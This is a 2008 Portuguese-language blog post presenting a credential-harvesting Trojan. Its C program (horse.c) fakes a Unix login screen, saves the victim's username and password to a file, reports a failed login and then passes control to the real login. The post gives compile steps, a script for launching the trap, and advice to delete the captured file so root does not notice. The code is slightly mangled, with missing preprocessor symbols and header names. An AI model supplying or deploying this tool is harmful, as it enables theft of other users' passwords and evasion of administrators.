quarta-feira, 30 de julho de 2008

Capturando senhas no Linux

Como que funciona ?
Simples, É simulador de login, o cara que executa-lo encontrará a seguinte tela:

Darkstar Systems 4.2bsd / System V666

login: admin
Password: ******

Login Incorrect


E ele pensa que deve ter digitado a senha errada, digita de novo e entra no sistema. Porhám akela senha que ele digitou estava certa e foi gravada em um de seus arquivos. Note que este programa há para um sistema bsd4.2, altere as primeiras linhas da fonte (antes de compila-la) para o seu sistema.
Use os seguintes cmds para compila-lo:

cc horse.c -lcurses -ltermcap
mv a.out horse

Agora crie um arquivo chamado trap e coloque esses comandos:

horse
login

Para executar o trap digite:

source trap

Agora atualmente veja o file stuff no seu diretório home. Copie-os e
depois delete o file. Ele pode ser muito incriminante se o root le-lo.
Se você entende de C, pode alterar a fonte como preferir. Porhám se vc
não sabe nada de C, não mexa aà* que vc vai fazer merda.

----------horse.c------------------------------------------------------------

/* A mensagem abaixo deve ser alterada para se parecer com a mensagem que o sistema imprime quando pronto. Cada \n representa um carriage return
*/

define SYSTEM "\n\nDarkStar Systems 4.2bsd UNIX (acid0)\n\n"

define LOGIN "login: "

define PASSWORD "password:"

define WAIT 2

define INCORRECT "Login incorrect.\n"

define FILENAME "stuff"

include
include
int stop();

main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);


if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
fprintf(fp,"login %s has password %s\n",name,password);
fclose(fp);
}

printf(INCORRECT);
endwin();
}

stop()
{
endwin();
exit(0);
}

Pronto xD~

0 comentários: